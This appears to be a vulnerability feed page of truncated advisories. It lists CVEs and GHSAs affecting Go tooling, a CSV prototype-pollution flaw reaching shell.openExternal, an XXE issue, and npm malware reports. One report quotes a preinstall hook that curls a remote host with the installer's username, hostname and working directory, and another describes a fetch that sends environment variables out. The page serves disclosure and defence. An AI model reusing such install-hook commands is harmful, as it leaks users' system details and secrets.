CVE-2024-32983

creationtimestamp| type| source ---|---|--- 2026-05-20 22:02:44+00:00| seen| https://bsky.app/profile/tesaguri.fedibird.com.ap.brid.gy/post/3mmcvqb4beh22...

MAL-2026-4675 Malicious code in supership-scan (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0aebde5ba55a72b6d4c6917ccf22db1427d434fed04cecc22dd16844e2d39033 The package advertises itself as a local-only static analyzer README: "Runs locally. Your code never leaves the machine" and "What's never transmitte...

GHSA-M7CR-M3PV-HGRP vulnerabilities

Vulnerabilities for packages: guac, gitlab-runner, nfpm, scorecard, kubescape, witness, teleport, src-fingerprint, bom, cerbos, kargo, trivy, argocd-image-updater, kots, pulumi-kubernetes-operator, syft, gomplate, trufflehog, osv-scanner, pulumi, kaniko, gptscript, goreleaser, tfsec, xeol, melang...

GHSA-CRHJ-59GH-8X96 vulnerabilities

Vulnerabilities for packages: guac, gitlab-runner, nfpm, scorecard, kubescape, witness, teleport, src-fingerprint, bom, cerbos, kargo, trivy, argocd-image-updater, kots, pulumi-kubernetes-operator, syft, gomplate, trufflehog, osv-scanner, pulumi, kaniko, gptscript, goreleaser, tfsec, xeol, melang...

CVE-2026-45571 vulnerabilities

Vulnerabilities for packages: guac, gitlab-runner, nfpm, scorecard, kubescape, witness, teleport, src-fingerprint, bom, cerbos, kargo, trivy, argocd-image-updater, kots, pulumi-kubernetes-operator, syft, gomplate, trufflehog, osv-scanner, pulumi, kaniko, gptscript, goreleaser, tfsec, xeol, melang...

CVE-2026-45570 vulnerabilities

Vulnerabilities for packages: guac, gitlab-runner, nfpm, scorecard, kubescape, witness, teleport, src-fingerprint, bom, cerbos, kargo, trivy, argocd-image-updater, kots, pulumi-kubernetes-operator, syft, gomplate, trufflehog, osv-scanner, pulumi, kaniko, gptscript, goreleaser, tfsec, xeol, melang...

Malicious code in @aswinsparky/api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8cceefd98563e2885501c896472471f2bb20b77103ad99c253775570cae6b4fe index.js line 11 issues a fetch to the hardcoded URL https://api.aswinsparky.qzz.io carrying values read from process.env. The destination is a...

GHSA-M7CR-M3PV-HGRP vulnerabilities

Vulnerabilities for packages: rancher-fleet-fips, mapotf, skaffold, guac, coder, kubescape, wolfictl, cg, apko-fips, cloudbeat-fips, syft, gitlab-rails-ce, chainloop-cli, grafana-alloy, jfrog-cli, chainctl-fips, src-fingerprint, rancher-fleet, grafana-fips, k9s, mapotf-fips, gitaly-fips,...

CVE-2026-45571 vulnerabilities

Vulnerabilities for packages: rancher-fleet-fips, mapotf, skaffold, guac, coder, kubescape, wolfictl, cg, apko-fips, cloudbeat-fips, syft, gitlab-rails-ce, chainloop-cli, grafana-alloy, jfrog-cli, chainctl-fips, src-fingerprint, rancher-fleet, grafana-fips, k9s, mapotf-fips, gitaly-fips,...

GHSA-CRHJ-59GH-8X96 vulnerabilities

Vulnerabilities for packages: rancher-fleet-fips, mapotf, skaffold, guac, coder, kubescape, wolfictl, cg, apko-fips, cloudbeat-fips, syft, gitlab-rails-ce, chainloop-cli, grafana-alloy, jfrog-cli, chainctl-fips, src-fingerprint, rancher-fleet, grafana-fips, k9s, mapotf-fips, gitaly-fips,...

CVE-2026-9101

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

CVE-2026-9101

The CVE-2026-9101 entry describes a prototype pollution flaw in CSV parsing during import. The underlying issue can allow untrusted file paths (not arguments) to reach shell.openExternal after specific user actions, potentially enabling a limited form of “1-click” command execution. Documents do ...

Prototype pollution in csv parsing

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

CVE-2026-9101 Prototype pollution in csv parsing

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

CVE-2026-9101 Prototype pollution in csv parsing

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

EUVD-2026-31127

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

CVE-2026-9101

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

XML External Entity (XXE) Injection

Overview Affected versions of this package are vulnerable to XML External Entity XXE Injection via the Crawler::addXmlContent XML parsing logic. An attacker can read arbitrary local files by supplying crafted XML containing external entities, as validateOnParse re-enables DTD processing and...

MAL-2026-4605 Malicious code in mamadoos-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 21b5454856fbb360a162083d9d582eba3839b7105ce6e36490e188b3729388d4 package.json declares a preinstall lifecycle hook that runs curl https://huntr.site/depconf/$whoami@$hostname?pwd=$pwd, embedding the installer's OS...

MAL-2026-4400 Malicious code in @kmmao/happy-coder (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c4478b22a21a87a37250e86ef25639330f79b779e5793f642eaf7ddaafd975d4 This package is a near-verbatim fork of the upstream happy-coder/happy-cli references to slopus/happy-cli and happy.engineering are retained througho...